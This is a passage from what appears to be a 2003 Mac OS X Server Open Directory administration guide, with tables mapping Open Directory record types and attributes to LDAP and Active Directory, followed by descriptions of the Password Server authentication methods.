1.3.6.1.4.1.7165.2.1.3 1.2.840.113556.1.4.96 (Microsoft) SMBLogonTime, Samba registered, Apple PDC logonTime 1.3.6.1.4.1.7165.2.1.5 1.2.840.113556.1.4.52 (Microsoft) SMBLogoffTime, Samba registered, Apple PDC logoffTime 1.3.6.1.4.1.7165.2.1.6 1.2.840.113556.1.4.51 (Microsoft) SMBKickoffTime, Samba registered, Apple PDC kickoffTime 1.3.6.1.4.1.7165.2.1.7 No mapping SMBRID, Samba registered, Apple PDC rid 1.3.6.1.4.1.7165.2.1.14 1.2.840.113556.1.4.153 (Microsoft) SMBGroupID, Samba registered, Apple PDC primaryGroupID 1.3.6.1.4.1.7165.2.1.15 1.2.840.113556.1.4.98 (Microsoft) Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in LL2352.Book Page 152 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 153 Mappings for ComputerLists The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory ComputerLists record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for ComputerLists Attribute Mappings for ComputerLists Mappings for Config The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Config record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Config Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in ComputerLists, Apple registered apple-computer-list 1.3.6.1.4.1.63.1000.1.1.2.11 Apple extended schema Open Directory name, RFC/class, LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema Computers, Apple registered apple-computers 1.3.6.1.4.1.63.1000.1.1.1.11.3 Apple extended schema Group, Apple registered apple-computer-list-groups 1.3.6.1.4.1.63.1000.1.1.1.11.4 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Config, Apple registered apple-configuration 1.3.6.1.4.1.63.1000.1.1.2.12 Apple extended schema LL2352.Book Page 153 Friday, August 22, 2003 3:12 PM 154 Appendix A Mac OS X Directory Data Attribute Mappings for Config Mappings for People The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory People record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for People Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard RealName, Apple registered apple-config-realname 1.3.6.1.4.1.63.1000.1.1.1.12.3 1.2.840.113556.1.2.13 (Microsoft) DataStamp, Apple registered apple-data-stamp 1.3.6.1.4.1.63.1000.1.1.1.12.2 Apple extended schema KDCAuthKey, Apple registered, Apple KDC apple-kdc-authkey 1.3.6.1.4.1.63.1000.1.1.1.12.7 No mapping KDCConfigData, Apple registered, Apple KDC apple-kdc-configdata 1.3.6.1.4.1.63.1000.1.1.1.12.8 No mapping Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema LDAPReadReplicas, Apple registered, Apple LDAP Server apple-ldap-replica 1.3.6.1.4.1.63.1000.1.1.1.12.5 No mapping LDAPWriteReplicas, Apple registered, Apple LDAP Server apple-ldap-writable-replica 1.3.6.1.4.1.63.1000.1.1.1.12.6 No mapping PasswordServerList, Apple registered, Password Server apple-password-server-list 1.3.6.1.4.1.63.1000.1.1.1.12.4 No mapping PasswordServerLocation, Apple registered, Password Server apple-password-server-location 1.3.6.1.4.1.63.1000.1.1.1.12.1 No mapping XMLPlist, Apple registered apple-xmlplist 1.3.6.1.4.1.63.1000.1.1.1.17.1 Apple extended schema Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in People, RFC 2798 inetOrgPerson 2.16.840.1.113730.3.2.2 RFC standard LL2352.Book Page 154 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 155 Attribute Mappings for People Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard EMailAddress, RFC 1274 mail 0.9.2342.19200300.100.1.3 RFC standard RealName, RFC 2256 cn 1.2.840.113556.1.3.23 RFC standard LastName, RFC 2256 sn 2.5.4.4 RFC standard FirstName, RFC 2256 givenName 2.5.4.42 RFC standard FaxNumber, RFC 2256 fax 2.5.4.23 RFC standard MobileNumber, RFC 1274 mobile 0.9.2342.19200300.100.1.41 RFC standard PagerNumber, RFC 1274 pager 0.9.2342.19200300.100.1.42 RFC standard Department, RFC 2798, departmentNumber 2.16.840.1.113730.3.1.2 1.2.840.113556.1.2.141 (Microsoft) JobTitle, RFC 2256 title 2.5.4.12 RFC standard PhoneNumber, RFC 2256 telephoneNumber 2.5.4.20 RFC standard AddressLine1, RFC 2256 street 2.5.4.9 RFC standard Street, RFC 2256 street 2.5.4.9 RFC standard PostalAddress, RFC 2256 postalAddress 2.5.4.16 RFC standard City, RFC 2256 locality 2.5.4.7 RFC standard State, RFC 2256 st 2.5.4.8 RFC standard Country, RFC 2256 c 2.5.4.6 RFC standard PostalCode, RFC 2256 postalCode 2.5.4.17 RFC standard OrganizationName, RFC 2256 o 2.5.4.10 1.2.840.113556.1.2.146 (Microsoft) LL2352.Book Page 155 Friday, August 22, 2003 3:12 PM 156 Appendix A Mac OS X Directory Data Mappings for PresetComputerLists The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory PresetComputerLists record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for PresetComputerLists Attribute Mappings for PresetComputerLists Mappings for PresetGroups The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory PresetGroups record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for PresetGroups Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in PresetComputerLists, Apple registered apple-preset-computer-list 1.3.6.1.4.1.63.1000.1.1.2.13 Apple extended schema Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in PresetGroups, Apple registered apple-preset-group 1.3.6.1.4.1.63.1000.1.1.3.14 Apple extended schema LL2352.Book Page 156 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 157 Attribute Mappings for PresetGroups Mappings for PresetUsers The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory PresetUsers record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for PresetUsers Attribute Mappings for PresetUsers Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in HomeDirectory, Apple registered apple-group-homeurl 1.3.6.1.4.1.63.1000.1.1.1.1.6 Apple extended schema HomeLocOwner, Apple registered apple-group-homeowner 1.3.6.1.4.1.63.1000.1.1.1.14.2 Apple extended schema MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema RealName, Apple registered apple-group-realname 1.3.6.1.4.1.63.1000.1.1.1.14.5 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema RecordName, RFC 2256 cn 2.5.4.3 RFC standard GroupMembership, RFC 2307 memberUid 1.3.6.1.1.1.1.12 Extended using RFC PrimaryGroupID, RFC 2307 gidNumber 1.3.6.1.1.1.1.1 Extended using RFC Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in PresetUsers, Apple registered apple-preset-user 1.3.6.1.4.1.63.1000.1.1.2.15 ObjectCategory = Person Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in HomeDirectory, Apple registered apple-user-homeurl 1.3.6.1.4.1.63.1000.1.1.1.1.6 N/A HomeDirectoryQuota, Apple registered apple-user-homequota 1.3.6.1.4.1.63.1000.1.1.1.1.8 Apple extended schema HomeDirectorySoftQuota, Apple registered apple-user-homesoftquota 1.3.6.1.4.1.63.1000.1.1.1.1.17 Apple extended schema LL2352.Book Page 157 Friday, August 22, 2003 3:12 PM 158 Appendix A Mac OS X Directory Data MailAttribute, Apple registered apple-user-mailattribute 1.3.6.1.4.1.63.1000.1.1.1.1.9 Apple extended schema PrintServiceUserData, Apple registered apple-user-printattribute 1.3.6.1.4.1.63.1000.1.1.1.1.13 Apple extended schema MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema AdminLimits, Apple registered apple-user-adminlimits 1.3.6.1.4.1.63.1000.1.1.1.1.14 Apple extended schema Picture, Apple registered apple-user-picture 1.3.6.1.4.1.63.1000.1.1.1.1.12 Apple extended schema AuthenticationAuthority, Apple registered authAuthority 1.3.6.1.4.1.63.1000.1.1.2.16.1 Apple extended schema PasswordPolicyOptions, Apple registered apple-user-passwordpolicy 1.3.6.1.4.1.63.1000.1.1.1.1.18 Apple extended schema PresetUserIsAdmin, Apple registered apple-preset-user-is-admin 1.3.6.1.4.1.63.1000.1.1.1.15.1 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema RecordName, RFC 1274 cn 2.5.4.3 RFC standard RealName, RFC 2256 cn 2.5.4.3 RFC standard Password, RFC 2256 userPassword 2.5.4.35 N/A GroupMembership, RFC 2307 memberUid 1.3.6.1.1.1.1.12 Extended using RFC PrimaryGroupID, RFC 2307 gidNumber 1.3.6.1.1.1.1.1 Extended using RFC NFSHomeDirectory, RFC 2307 homeDirectory 1.3.6.1.1.1.1.3 N/A UserShell, RFC 2307 loginShell 1.3.6.1.1.1.1.4 Extended using RFC Change, RFC 2307 shadowLastChange 1.3.6.1.1.1.1.5 N/A Expire, RFC 2307 shadowExpire 1.3.6.1.1.1.1.10 N/A Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in LL2352.Book Page 158 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 159 Mappings for Printers The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Printers record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Printers Attribute Mappings for Printers Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Printers, Apple registered apple-printer 1.3.6.1.4.1.63.1000.1.1.2.9 ObjectCategory = Print-Queue Printers, IETF-Draft-IPP-LDAP printerIPP 1.3.18.0.2.6.256 Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard RealName, RFC 2256 cn 2.5.4.3 1.2.840.113556.1.4.300 (Microsoft) PrinterLPRHost, Apple registered, legacy support apple-printer-lprhost 1.3.6.1.4.1.63.1000.1.1.1.9.2 N/A PrinterLPRQueue, Apple registered, legacy support apple-printer-lprqueue 1.3.6.1.4.1.63.1000.1.1.1.9.3 N/A PrinterType, Apple registered, legacy support apple-printer-type 1.3.6.1.4.1.63.1000.1.1.1.9.4 N/A PrinterNote, Apple registered, legacy support apple-printer-note 1.3.6.1.4.1.63.1000.1.1.1.9.5 N/A Location, IETF-Draft-IPP-LDAP printer-location 1.3.18.0.2.4.1136 1.2.840.113556.1.4.222 (Microsoft) Comment, RFC 2256 description 2.5.4.13 RFC standard PrinterMakeAndModel, IETF-Draft-IPP-LDAP printer-make-and-model 1.3.18.0.2.4.1138 1.2.840.113556.1.4.229 (Microsoft) PrinterURI, IETF-Draft-IPP-LDAP printer-uri 1.3.18.0.2.4.1140 Generated from uNCName LL2352.Book Page 159 Friday, August 22, 2003 3:12 PM 160 Appendix A Mac OS X Directory Data Mappings for AutoServerSetup The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory AutoServerSetup record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for AutoServerSetup Attribute Mappings for AutoServerSetup Mappings for Locations The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Locations record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Locations PrinterXRISupported, IETF-Draft-IPP-LDAP printer-xri-supported 1.3.18.0.2.4.1107 Generated from portName/ uNCName Printer1284DeviceID, Apple registered printer-1284-device-id 1.3.6.1.4.1.63.1000.1.1.1.9.6 Apple extended schema Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in AutoServerSetup, Apple registered apple-serverassistant-config 1.3.6.1.4.1.63.1000.1.1.2.17 Apple extended schema Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard XMLPlist, Apple registered apple-xmlplist 1.3.6.1.4.1.63.1000.1.1.1.17.1 Apple extended schema Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Locations, Apple registered apple-locations 1.3.6.1.4.1.63.1000.1.1.2.18 Apple extended schema LL2352.Book Page 160 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 161 Attribute Mappings for Locations Standard Attributes in User Records The following table specifies facts about the standard attributes, or data types, found in user records of Mac OS X data services. Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. Important: When mapping Mac OS X user attributes to a read/write LDAP directory domain (an LDAP domain that is not read-only), do not map the RealName and the first RecordName attributes to the same LDAP attribute. For example, do not map both RealName and RecordName to the cn attribute. If RealName and RecordName are mapped to the same LDAP attribute, problems will occur when you try to edit the full (long) name or the first short name in Workgroup Manager. Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard DNSDomain, Apple registered apple-dns-domain 1.3.6.1.4.1.63.1000.1.1.1.18.1 Apple extended schema DNSNameServer, Apple registered apple-dns-nameserver 1.3.6.1.4.1.63.1000.1.1.1.18.2 Apple extended schema Mac OS X user attribute Format Sample values RecordName: A list of names associated with a user; the first is the user’s short name, which is also the name of the user’s home directory Important: All attributes used for authentication must map to RecordName. First value: ASCII characters A–Z, a–z, 0–9, _,- Second value: UTF-8 Roman text Dave David Mac DMacSmith Non-zero length, 1 to 16 values. Maximum 255 bytes (85 triple- byte to 255 single-byte characters) per instance. First value must be 1 to 30 bytes for clients using Macintosh Manager, or 1 to 8 bytes for clients using Mac OS X version 10.1 and earlier. RealName: A single name, usually the user’s full name; not used for authentication UTF-8 text David L. MacSmith, Jr. Non-zero length, maximum 255 bytes (85 triple-byte to 255 single-byte characters). LL2352.Book Page 161 Friday, August 22, 2003 3:12 PM 162 Appendix A Mac OS X Directory Data UniqueID: A unique user identifier, used for access privilege management SIgned 32-bit ASCII string of digits 0–9 Values below 100 are typically used for system accounts. Zero is reserved for use by the system. Normally unique among entire population of users, but sometimes can be duplicated. Warning: A non-integer value is interpreted as 0, which is the UniqueID of the root user. PrimaryGroupID: A user’s primary group association Signed 32-bit ASCII string of digits 0–9 Range is 1 to 2,147,483,648. Normally unique among entire population of group records. If blank, 20 is assumed. NFSHomeDirectory: Local file system path to the user’s home directory UTF-8 text /Network/Servers/example/ Users/K-M/Tom King Non-zero length. Maximum 255 bytes. HomeDirectory: The location of an AFP-based home directory UTF-8 XML text <home_dir> <url>afp://server/sharept</url> <path>usershomedir</path> </home_dir> In the following example, Tom King’s home directory is K-M/ Tom King, which resides beneath the share point directory, Users: <home_dir> <url>afp://example.com/ Users</url> <path>K-M/Tom King</path> </home_dir> HomeDirectoryQuota: The disk quota for the user’s home directory Text for the number of bytes allowed If the quota is 10MB, the value will be the text string “1048576”. MailAttribute: A user’s mail service configuration UTF-8 XML text PrintServiceUserData: A user’s print quota statistics UTF-8 XML plist, single value . MCXFlags: If present, MCXSettings is loaded; if absent, MCXSettings isn’t loaded; required for a managed user. UTF-8 XML plist, single value Mac OS X user attribute Format Sample values LL2352.Book Page 162 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 163 MCXSettings: A user’s managed preferences UTF-8 XML plist, multivalued AdminLimits: The privileges allowed by Workgroup Manager to a user that can administer the directory domain UTF-8 XML plist, single value Password: The user’s password UNIX crypt Picture: File path to a recognized graphic file to be used as a display picture for the user UTF-8 text Maximum 255 bytes. Comment: Any documentation you like UTF-8 text John is in charge of product marketing. Maximum 32,676 bytes. UserShell: The location of the default shell for command-line interactions with the server Path name /bin/tcsh /bin/sh None (this value prevents users with accounts in the directory domain from accessing the server remotely via a command line) Non-zero length. Change: Not used by Mac OS X, but corresponds to part of standard LDAP schema Number Expire: Not used by Mac OS X, but corresponds to part of standard LDAP schema Number Mac OS X user attribute Format Sample values LL2352.Book Page 163 Friday, August 22, 2003 3:12 PM 164 Appendix A Mac OS X Directory Data AuthenticationAuthority: Describes the user’s authentication methods, such as Open Directory or crypt password; not required for a user with only a crypt password; absence of this attribute signifies legacy authentication (crypt with Authentication Manager, if it is available). ASCII text Values describe the user’s authentication methods. Can be multivalued (for example, basic and ShadowHash). Each value has the format vers; tag; data (where vers and data may be blank). Crypt password: ;basic; Open Directory authentication: ;ApplePassword Server; HexID, server’s public key IPaddress:port Shadow password (local directory domain only): ;ShadowHash; AuthenticationHint: Text set by the user to be displayed as a password reminder UTF-8 text Your guess is as good as mine. Maximum 255 bytes. FirstName: Used by Address Book and other applications that use the contacts search policy LastName: Used by Address Book and other applications that use the contacts search policy EMailAddress: An email address to which mail should be automatically forwarded when a user has no MailAttribute defined; used by Address Book, Mail, and other applications that use the contacts search policy Any legal RFC 822 email address or a valid “mailto:” URL user@example.com mailto:user@example.com PhoneNumber: Used by Address Book and other applications that use the contacts search policy AddressLine1: Used by Address Book and other applications that use the contacts search policy Mac OS X user attribute Format Sample values LL2352.Book Page 164 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 165 User Data That Mac OS X Server Uses The following table describes how your Mac OS X Server uses data from user records in directory domains. Consult this table to determine the attributes, or data types, that your server’s various services expect to find in user records of directory domains. Note that “All services” in the far-left column include AFP, SMB, FTP, HTTP, NFS, WebDAV, POP, IMAP, Workgroup Manager, Server Admin, the Mac OS X login window, and Macintosh Manager. PostalAddress: Used by Address Book and other applications that use the contacts search policy PostalCode: Used by Address Book and other applications that use the contacts search policy OrganizationName: Used by Address Book and other applications that use the contacts search policy Mac OS X user attribute Format Sample values Server component Mac OS X user attribute Dependency All services RecordName Required for authentication All services RealName Required for authentication All services AuthenticationAuthority Used for Kerberos, Password Server, and shadow password authentication All services Password Used for basic (crypt password) or LDAP bind authentication All services UniqueID Required for authorization (for example, file permissions and mail accounts) All services PrimaryGroupID Required for authorization (for example, file permissions and mail accounts) LL2352.Book Page 165 Friday, August 22, 2003 3:12 PM 166 Appendix A Mac OS X Directory Data Standard Attributes in Group Records The following table specifies facts about the standard attributes, or data types, found in group records of Mac OS X data services. Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. FTP service Web service Apple file service NFS service Macintosh Manager Mac OS X login window Application and system preferences HomeDirectory NFSHomeDirectory Optional Mail service MailAttribute Required for login to mail service on your server Mail service EMailAddress Optional Server component Mac OS X user attribute Dependency Mac OS X group attribute Format Sample values RecordName: Name associated with a group ASCII characters A–Z, a–z, 0–9, _ Science Science_Dept Science.Teachers Non-zero length, maximum 255 bytes (85 triple-byte to 255 single-byte characters). RealName: Usually the group’s full name UTF-8 text Science Department Teachers Non-zero length, maximum 255 bytes (85 triple-byte to 255 single-byte characters). PrimaryGroupID: A unique identifier for the group Signed 32-bit ASCII string of digits 0–9 Normally unique among entire population of group records. GroupMembership: A list of short names of user records that are considered part of the group ASCII characters A–Z, a–z, 0–9, _,- bsmith, jdoe Can be an empty list (normally for users’ primary group). LL2352.Book Page 166 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 167 HomeDirectory: The location of an AFP-based home directory for the group Structured UTF-8 text <home_dir> <url>afp://server/sharept</url> <path>grouphomedir</path> </home_dir> In the following example, the Science group’s home directory is K-M/Science, which resides beneath the share point directory, Groups: <home_dir> <url>afp://example.com/ Groups</url> <path>K-M/Science</path> </home_dir> Member: Same data as GroupMembership but each is used by different services of Mac OS X Server ASCII characters A–Z, a–z, 0–9, _,- bsmith, jdoe Can be an empty list (normally for users’ primary group). HomeLocOwner: The short name of the user that owns the group’s home directory ASCII characters A–Z, a–z, 0–9, _,- MCXFlags: If present, MCXSettings is loaded; if absent, MCXSettings isn’t loaded; required for a managed user UTF-8 XML plist, single value MCXSettings: The preferences for a workgroup (a managed group) UTF-8 XML plist, multivalued Mac OS X group attribute Format Sample values LL2352.Book Page 167 Friday, August 22, 2003 3:12 PM 168 Appendix A Mac OS X Directory Data Standard Attributes in Computer Records The following table specifies facts about the standard attributes, or data types, found in computer records of Mac OS X data services. Computer records associate the hardware address of a computer’s Ethernet interface with a name for the computer. The name is part of a computer list record (much as a user is in a group). Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. Mac OS X computer attribute Format Sample values RecordName: Name associated with a computer UTF-8 text iMac 1 Comment: Any documentation you like UTF-8 text EnetAddress: The MAC address of the computer’s Ethernet interface Colon-separated hex notation; leading zeroes may be omitted 00:05:02:b7:b5:88 MCXFlags: Used only in the “guest” computer record; if present, MCXSettings is loaded; if absent, MCXSettings isn’t loaded; required for a managed computer UTF-8 XML plist, single value MCXSettings: Used only in the “guest” computer record; a managed computer’s preferences UTF-8 XML plist, multivalued LL2352.Book Page 168 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 169 Standard Attributes in Computer List Records The following table specifies facts about the standard attributes, or data types, found in computer list records of Mac OS X data services. A computer list record identifies a group of computers (much as a group record identifies a collection of users). Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. Mac OS X computer list attribute Format Sample values RecordName: Name associated with a computer list UTF-8 text Lab Computers Non-zero length, maximum 255 bytes (85 triple-byte to 255 single-byte characters). MCXFlags UTF-8 XML plist, single value MCXSettings: Stores preferences for a managed computer UTF-8 XML plist, multivalued Computers Multivalued list of computer record names iMac 1, iMac 2 Group A list of groups whose members may log in on the computers in this computer list Multivalued list of short names of groups herbivores,omnivores LL2352.Book Page 169 Friday, August 22, 2003 3:12 PM 170 Appendix A Mac OS X Directory Data Standard Attributes in Mount Records The following table specifies facts about the standard attributes, or data types, found in mount records of Mac OS X data services. Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. Mac OS X mount attributes Format Sample values RecordName: Host and path of the sharepoint UTF-8 text hostname :/ path on server indigo:/Volumes/home2 VFSLinkDir Path for the mount on a client UTF-8 text /Network/Servers VFSType ASCII text For AFP: url For NFS: nfs VFSOpts UTF-8 text For AFP (two values): net url==afp:// ;AUTH=NO%20USER%20 AUTHENT@ server / sharepoint / For NFS: net VFSDumpFreq VFSPassNo LL2352XA Page 170 Friday, August 22, 2003 3:27 PM Appendix A Mac OS X Directory Data 171 Standard Attributes in Config Records The following table specifies facts about the standard attributes, or data types, found in config records of Mac OS X data services. Mac OS X Server version 10.2 and later uses the following two types of config records: • The mcx_cache record always has the RecordName of mcx_cache. It also uses RealName and DataStamp to determine whether the cache should be updated or the server settings ignored. If you want managed clients, you must have an mcx_cache config record. • The passwordserver record has the additional attribute PasswordServerLocation. Use these facts when mapping LDAP or Active Directory domains to Mac OS X directory services. Mac OS X config attributes Format Sample values RecordName: Name associated with a config ASCII characters A–Z, a–z, 0–9, _,-,. mcx_cache passwordserver Non-zero length, maximum 255 bytes (85 triple-byte to 255 single-byte characters). PasswordServerLocation: Identifies the host of the Password Server that’s associated with the directory domain IP address or host name 192.168.1.90 RealName For the mcx_cache config record, RealName is a GUID DataStamp For the mcx_cache config record, DataStamp is a GUID LL2352.Book Page 171 Friday, August 22, 2003 3:12 PM LL2352.Book Page 172 Friday, August 22, 2003 3:12 PM 173 Appendix B B Open Directory Password Server Authentication Methods Open Directory Password Server is based on the SASL standard for supporting multiple methods of authenticating user passwords. The authentication methods supported by Open Directory Password Server include APOP, CRAM-MD5, DHX, Digest-MD5, MS-CHAPv2, SMB-NT, SMB-LAN Manager, and WebDAV-Digest. Open Directory Password Server can support a wide range of authentication methods because it is based on the Simple Authentication and Security Layer (SASL) standard. Open Directory needs to support many different authentication method because each service that requires authentication uses some methods but not others. File service uses one set of authentication methods, Web service uses another set of methods, mail service uses another set, and so on. Some authentication methods are more secure than others. The more secure methods use tougher algorithms to encode the information that they transmit between client and server. The more secure authentication methods also store passwords in a form that can’t be recovered from the server. Enabling or Disabling Authentication Methods All password authentication methods supported by Open Directory Password Server are initially enabled. You can disable and enable Open Directory Password Server authentication methods by using the NeST command in Terminal. For information, see the command-line administration guide. When deciding whether to disable or enable authentication methods, your goal should be to provide maximum convenience to legitimate users while keeping other users from gaining access to the server. Consider the following: • Which types of password validation are needed by the services that my server or servers provide? • What balance do I want between ease of access and security? • What types of hardware and software will the server’s clients use? • Is my server in a physically secure location? LL2352.Book Page 173 Friday, August 22, 2003 3:12 PM 174 Appendix B Open Directory Password Server Authentication Methods Note: Disabling or enabling an authentication method may necessitate resetting passwords in user accounts. If a user can’t use additional methods after you enable them, the user or a directory domain administrator needs to reset the user’s password. Basic information about Open Directory Password Server’s authentication methods is provided on the following pages. This information is not a substitute for a thorough knowledge of authentication methods and how they affect security and ease of access. APOP Password Validation APOP can be used for POP mail service by Mac OS X Server and users’ mail client software. It encodes passwords when they are sent over the network, but stores them in a recoverable form on the server. It offers good security during network transmission. A malicious user might be able to obtain passwords by gaining access to the server and reading the password file, although doing this would be difficult. If APOP is disabled, some email programs will transmit passwords over the network in clear text format, which is a significant security risk. If you use your server for POP email, you should probably keep APOP enabled. CRAM-MD5 Password Validation CRAM-MD5 can be used for IMAP mail service by Mac OS X Server and users’ mail client software. CRAM-MD5 is also used by some LDAP software. This authentication method encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. It offers good security during network transmission. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. If CRAM-MD5 is disabled, some email programs will transmit passwords over the network in clear text format, which is a significant security risk. If you use your server for SMTP or IMAP email, you should probably keep CRAM-MD5 enabled. DHX Password Validation Diffie-Hellman Exchange (DHX) password validation is used by the Apple file service of Mac OS X Server and some other Apple Filing Protocol (AFP) file servers. DHX is required for Open Directory administration and password changes. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. DHX strongly encodes passwords when they are sent over the network. DHX cannot be disabled. Mac OS 8.1–8.6 computers must have their AppleShare Client software upgraded to use DHX. • Mac OS 8.6 computers should use AppleShare Client version 3.8.8. • Mac OS 8.1–8.5 clients should use AppleShare Client version 3.8.6. • Mac OS 8.1–8.6 client computers that have file server volumes mount automatically during startup should use AppleShare Client version 3.8.3 with the DHX UAM (User Authentication Module) installed. The DHX UAM is included with the AppleShare Client 3.8.3 installation software. LL2352.Book Page 174 Friday, August 22, 2003 3:12 PM Appendix B Open Directory Password Server Authentication Methods 175 Digest-MD5 Password Validation Digest-MD5 is used by the Mac OS X login window, many email programs, and some LDAP software. This authentication method encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. It offers good security during network transmission. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. Digest-MD5 cannot be disabled. MS-CHAPv2 Password Validation MS-CHAPv2 is used by the VPN service of Mac OS X Server. This authentication method encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. It offers good security during network transmission. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. SMB-NT Password Validation SMB-NT password validation is required by default for some Microsoft Windows computers to connect to the Mac OS X Server for Windows services. It is sometimes called Windows Secure Password Exchange (NT). It encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. If SMB-NT password validation is disabled, each individual Windows client system must be configured to work with the server. If you want Windows users to be able to easily share files on your system, you should keep SMB-NT enabled. SMB-LAN Manager Password Validation SMB-LAN Manager password validation is required by default for some Microsoft Windows systems to connect to the Mac OS X SMB Server. It is sometimes called Windows Secure Password Exchange (LAN Manager). It encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. If SMB-LAN Manager password validation is disabled, each individual Windows client system must be configured to work with the server. If you want Windows users to be able to easily share files on your system, you should keep SMB-LAN Manager enabled. LL2352.Book Page 175 Friday, August 22, 2003 3:12 PM 176 Appendix B Open Directory Password Server Authentication Methods WebDAV-Digest Password Validation WebDAV-Digest handles Digest-MD5 password validation for the WebDAV protocol, which is used to 